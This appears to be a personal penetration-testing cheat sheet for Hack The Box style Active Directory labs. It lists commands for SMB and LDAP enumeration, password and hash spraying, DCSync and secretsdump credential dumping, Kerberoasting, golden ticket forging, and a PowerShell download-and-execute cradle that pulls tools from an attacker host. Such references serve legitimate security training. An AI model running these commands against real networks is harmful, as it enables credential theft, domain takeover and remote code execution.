```
Port scan:
   *  Basic scan: nmap -v -sC -sV -oA nmap/<boxname> <IP>
         *  Try --script safe for kicks
   *  Full scan: nmap -v -p- -oA nmap/<boxname> <IP>

SMB:
   *  Anonymous lookup: smbclient -L <IP>
   *  List shares: smbmap -H <IP>
   *  List contents: smbmap -R <share> -H <IP>
   *  Download file: smbmap -R <share> -H <IP> -A <filename> [-d <domain> -u <user> -p <pw>]
         *  Check for GPP (Groups.xml)
   *  The whole bag: enum4linux <IP>
   *  Spray: crackmapexec smb <IP> -u <user/userlist> -p <pw/pwlist>
   *  Spray hash: crackmapexec smb <IP> -u <user/userlist> -H <hash>
   *  Spray shares: crackmapexec smb <IP> -u <user/userlist> -p <pw/pwlist> --shares
   *  Get users: GetADUsers.py -all -user <user> -dc-ip <IP>

Hosting:
   *  SMB: impacket-smbserver <share> <dir> -smb2support -user <user> -password <pw>
         *  Create pass by `$pass = convertto-securestring ‘<pw>’ -AsPlainText -Force`
         *  Then cred by `$cred = New-Object System.Management.Automation.PSCredential(<user>,$pass)
         *  Then drive by `New-PSDrive -Name <user> -PSProvider FileSystem -Credential $cred -Root
            \\<ip>\<share>
   *  HTTP: python3 -m http.server 80
         *  Download by `IEX(New-Object Net.WebClient).downloadString(‘<URL>’)`

Privesc:
   *  winPEAS: .\winPEASany.exe
   *  Bloodhound: .\SharpHound.exe -c all
         *  Delete /usr/share/neo4j/data/dbms/auth to reset password
         *  In Bloodhound GUI, type in user, right click, mark as owned
         *  Shortest Path from Owned Principals usually best start
         *  nslookup is good for looking up boxes in Bloodhound
         *  Connections will give you “abuse info” which is useful
         *  Try Find Principals with DCSync Rights
   *  Create user: net user <user> <pass> /add /domain
   *  View group: net group <groupname>
   *  View domain: net user /domain
   *  Add to group: net group <groupname> /add <user>
   *  ACL DCSync attack: Add-DomainObjectAcl -Credential $cred -TargetIdentity “DC=<dc>,DC=<dc>”
      -PrincipalIdentity <user> -Rights DCSync
   *  Secret dump: secretsdump.py <domain>/<user>:<pw>@<ip>
   *  PSExec: psexec.py [-hashes <hashes>] <user>@<ip>
         *  31d6cfe... is a blank hash
   *  Runas: runas /netonly /user:<domain>\<user> cmd

Kerberos:
   *  Get non-preauth users: GetNPUsers.py -dc-ip <DC_IP> -request <DOMAIN> [-format hashcat]
         *  Domain must include trailing slash, i.e. ‘htb.local/’
   *  Get DomainSID: Get-ADDomain <domain>
   *  Golden ticket: ticketer.py -nthash <hash> -domain-sid <sid> -domain <domain> <user>
         *  Then export KRB5CCNAME=<user>.ccache
         *  Then psexec.py <domain>/<user>@<hostname> -k -no-pass
         *  Consider adding entry to /etc/hosts if hangs
         *  If clock skew, then `date -s <date>` can fix skew (view nmap clock skew)
```

- User enumeration: kerbrute userenum --dc <IP> -d <domain> users.txt
- Kerberoast: GetUserSPNs.py -request -dc-ip <IP> <domain>/<user>

RPC:

- Anonymous lookup: rpcclient -U ‘’ <IP>
    - `enumdomusers` lists users, `queryuser <RID>` gives details
    - `queryusergroups <RID>` gives groups, `querygroup <GROUP_RID>` gives details

WinRM:

- Login: evil-winrm -u <user> -p <pw> -i <ip>
- Spray: crackmapexec winrm <IP> -u <user/userlist> -p <pw/pwlist>

DNS:

- Lookup: nslookup
    - `server <target IP>` sets server, then `<lookup IP>` looks up
    - check 127.0.0.1, 127.0.0.2, <target IP>
- Mass reverse lookup: dnsrecon -d <target IP> -r 10.0.0.0/8

Ping:

- Ping: ping <IP>
    - ttl~=128 for Windows, ~=64 for Linux, ~=256 for Cisco infrastructure

LDAP:

- Lookup: ldapsearch -h <IP> -x
- DN lookup: ldapsearch -h <IP> -x -s base namingcontexts
- Lookup in DC: ldapsearch -h <IP> -x -b “DC=<dc>,DC=<dc>”
- Query: ldapsearch -h <IP> -x -b “DC=<dc>,DC=<dc>” “(objectClass=<Person or User>)”
- Query for usernames: ldapsearch -h <IP> -x -b “DC=<dc>,DC=<dc>” “(objectClass=Person)” sAMAccountName

Brute force:

- Apply rules: hashcat --force --stdout <pwlist> -r /usr/share/hashcat/rules/best64.rule
- Get policy: crackmapexec smb <IP> --pass-pol [-u ‘’ -p ‘’]
- Get policy: polenum -u ‘’ -p ‘’ [-d <domain>] <IP>
- Example hashes: hashcat --example-hashes
- Crack: hashcat -m <MODE> <hashfile> <wordlist> [-r <rules>]

Ports:

- 22: SSH
- 53: DNS
- 80: HTTP
- 88: Kerberos
- 135: RPC
- 139: RPC
- 389: LDAP
- 443: HTTPS
- 593: RPC-HTTP
- 636: LDAPS
- 3269: GC-SSL

Misc:

- Powershell sometimes runs in 32-bit! Use C:\Windows\sysnative\WindowsPowershell\v1.0\powershell.exe
- Download: Invoke-WebRequest -Uri "http://10.10.14.13/winPEASany.exe" -OutFile "wp.exe"
- Try Sherlock after winPEAS

* Check default passwords, always always always!
* Check user history
* Add extensions to gobuster, especially if it’s a .NET server (.aspx)!